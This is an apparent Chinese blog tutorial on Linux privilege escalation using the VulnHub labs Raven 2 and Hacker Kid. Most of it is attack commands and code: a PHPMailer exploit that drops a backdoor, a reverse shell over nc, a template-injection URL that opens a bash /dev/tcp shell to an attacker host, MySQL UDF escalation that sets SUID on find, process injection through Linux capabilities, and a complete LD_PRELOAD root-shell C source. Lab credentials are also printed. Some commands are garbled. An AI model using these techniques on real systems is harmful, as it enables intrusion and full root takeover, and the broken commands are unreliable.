Linux提权四:Capability能力&LD_Preload加载

Linux系统提权 - Web用户-数据库类型

靶机演示:Raven 2

环境复现:https://www.vulnhub.com/entry/raven-2,269/

kali:192.168.1.8

nmap+mac得到:192.168.1.10

apache 2.4 从readme.php获得 phpmailer 5.2 数据库:mysql

CMS:wordpress 4.8.7 phpmailer 5.2.16

复制代码
/var/www/html/vendor/
flag1{a2c1f66d2b8051bd3a5874b5b6e43e21}

然后用msconsole搜索PHPMailer,有两个利用方式,用了都不行

用kali自带的searchsploit

命令:

复制代码
searchsploit phpmailer

然后 searchsploit -m 40974.py 将要用的脚本拷贝到当前目录

然后vi编辑 40974.py 在文件头加上

#!/usr/bin/python --->告诉操作系统 "用哪个程序来运行这个脚本"

#-- coding: utf-8 -- --->声明源文件编码

存在漏洞的网页是为什么在contact.php里(疑点?)

phpmailer 是用来处理邮件发送的,这个网站只有在联系我们页面有类似功能

问题二:为什么用40974.py他一个,其他不行吗

解答:

1.我们要拿权限,要远程代码执行,其他几个什么文件例如

**40986.py:**该 EXP 针对 PHPMailer + SwiftMailer + Zend Framework 的组合场景,但 Raven 靶机 仅独立部署 PHPMailer

**42221.py :**邮件传输代理(MTA)不匹配

**43056.py :**该 EXP 是 本地文件泄露漏洞 (只能读取服务器文件,如 /etc/passwd、代码源文件),但渗透测试的核心目标是RCE 权限(控制靶机)。即使成功利用,也无法直接拿到 shell,因此实际渗透中优先级极低。

2.kali默认为python环境,php执行需要下载其他包

运行这个攻击文件会自动在网站根目录下面生成一个后门文件icepeak.php

然后:python3 40974.py

监听端口 nc -lvvp 4444

url访问http://192.168.1.10/icepeak.php 访问后门文件就会触发反弹shell

再进入交互式shell

复制代码
python -c 'import pty;pty.spawn("/bin/bash")'

find / -name flag* 发现两个

/var/www/html/wordpress/wp-content/uploads/2018/11/flag3.png --->url 访问(注意没有整个的路径,我们要从wordpress开始:wordpress/wp-content/uploads/2018/11/flag3.png) /var/www/flag2.txt

ls 后 cd 到wordpress再次ls

注意数据库配置文件一般在config.php下面,cat后找到账户和密码

进入数据库,查看

  • secure_file_priv配置宽松:若该参数设置为空或指定可写目录,允许导出文件
  • SHOW VARIABLES LIKE 'secure_file_priv';

来到users表得到两个用户和密码R@v3nSecurity

数据库版本 5.5.6

UDF提权

searchsploit mysql udf

searchsploit -m 1518.c

然后进行编译:gcc -g -c 1518.c 再 gcc -g -shared -o 1518.so 1518.o -lc

攻击机使用python的http模块开启服务(临时开一个网站),让目标机去下载这个编译好的文件

然后有shell的命令框进入tmp目录,下载exp文件

wget http://192.168.1.8:8000/1518.so

复制代码
use mysql;   #进入数据库
create table foo(line blob);  #创建数据表foo
insert into foo values(load_file('/tmp/icepeak.so'));   #插入数据
select * from foo into dumpfile '/usr/lib/mysql/plugin/icepeak.so';#Foo表成功插入二进制数据,然后利用dumpfile函数把文件导出
outfile 多行导出,dumpfile一行导出
outfile会有特殊的转换,而dumpfile是原数据导出新建存储函数
create function do_system returns integer soname '1518.so';
#(创建自定义函数do_system 类型是integer,别名
soname文件名字然后查询函数是否创建成功)
select * from mysql.func;
select do_system('chmod u+s /usr/bin/find');
#(调用do_system函数来给find命令所有者的suid权限,使其可以执行root命令)
quit 退出mysql,使用/usr/bin/find提权

Linux系统提权-Web&用户-Capability能力

复制代码
原理参考:<https://www.cnblogs.com/f-carey/p/16026088.html>
c[p](<https://www.cnblogs.com/f-carey/p/16026088.htmlcp>) /usr/bin/php /tmp/php
设置能力:setcapcap_setuid+ep /tmp/php
删除能力:setcap -r /tmp/php
查看单个能力:getcap /usr/bin/php
查看所有能力:getcap -r /2>/dev/null

环境复现

https://www.vulnhub.com/entry/hacker-kid-101,719/

复现步骤

前面web入口比较复杂,这里跳过,主要看提权

来到入口点,通过账号密码登陆到后台:

账号:saket 密码:Saket!#$%@!!

登录后用模版注入反弹shell,访问如下网址触发反弹Shell命令

复制代码
<http://192.168.139.141:9999/?name=%7B%25+import+os+%25%7D%7B%7Bos%2Esystem%28%27bash+%2Dc+%22bash+%2Di+%26%3E+%2Fdev%2Ftcp%2F192%2E168%2E0%2E129%2F8888+0%3E%261%22%27%29%7D%7D>
复制代码
#在kali上用python起一个网站服务,用wget命令在shell下载
攻击机的inject.py文件,然后执行for....命令
/sbin/getcap-r /2>/dev/null
python -m http.server 8080
wget <http://192.168.139.141:8080/inject.py>
#写了个循环,保证每一个进程都能注入一遍
for i in 'ps -eflgrep rootlgrep -v "grep"lawk '(print $2y''; do
python2.7 inject.py $i; done
nc 192.168.139.156 5600
结论:suid升级版,更细致的权限划分,通过能力有哪些权限设置进行利用

如下图为没注入和注入后nc命令执行的情况

Linux系统提权-普通用户-LD_Prelpad加载

这个就类似于Windows中的DLL劫持,只不过在Linux中是.so文件,在Windows中是.dll文件

提权原理:在一个应用程序运行时会加载一些固定的动态链接库,也就是so文件,一旦设置了LD_Preload,就可以用这个LD_Preload在程序运行前优先加载攻击者自定义的so文件,从而达到提权效果。

使用条件

/etc/sudoers文件中:设置Defaults env_keep += LD_PRELOAD选项

复制代码
参考:<https://www.cnblogs.com/backlion/p/10503985.html>
Default  senv_keep += LD_PRELOAD
test ALL=(ALL:ALL) NOPASSWD: /usr/bin/find

gcc -fPIC -shared -o [shell.so](<http://shell.so/>) shell.c -nostartfiles
ls -al [shell.so](<http://shell.so/>)
#让find在执行的时候绑定这个so文件
sudo LD_PRELOAD=/tmp/shell.so find 
whoami

Defaults  env_keep += LD_PRELOAD
test ALL=(ALL:ALL) NOPASSWD: /tmp/LinEnum.sh
sudoLD_PRELOAD=/tmp/shell.sO /tmp/LinEnum.sh
结论:sudo提权有限制,但是一旦设置了LDPRELOAD,那么只要有程序既可提权
复制代码
#随便vim一个文件,保存文件名为shell.c,文件内容如下

#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
	unsetenv("LD_PRELOAD");
	setgid(0);
	setuid(0);
	system("/bin/sh");
}

编译该文件为shell.so文件:

复制代码
gcc -fPIC -shared -o shell.so shell.c -nostartfiles

然后运行find命令,并且在运行时预加载shell.so文件:

复制代码
sudo LD_PRELOAD=/tmp/shell.so /tmp/LinEnum.sh
相关推荐
A小辣椒1 天前
TShark:Wireshark CLI 功能
linux
A小辣椒1 天前
TShark:基础知识
linux
AlfredZhao1 天前
OCI 明明分配了 200G 系统盘,为什么 df 只看到 30G?
linux·oci
AlfredZhao2 天前
vi 删除指定范围的行,不用再反复按 dd
linux·vi
用户9718356334662 天前
银河麒麟 KY10 申威(SW64) 安装 nginx-1.16.1-2.p01.ky10.sw_64.rpm 详细步骤
linux
猪脚踏浪2 天前
linux 拷贝文件或目录到指定的位置
linux
摇滚侠3 天前
Linux CentOS7 rpm 安装 MySQL 5.7
linux·运维·mysql
bush43 天前
嵌入式linux学习记录十四、术语
linux·嵌入式
载数而行5203 天前
Linux 11 动态监控指令top
linux
不会C语言的男孩3 天前
Linux 系统编程 · 第 8 章:进程基础
linux·c语言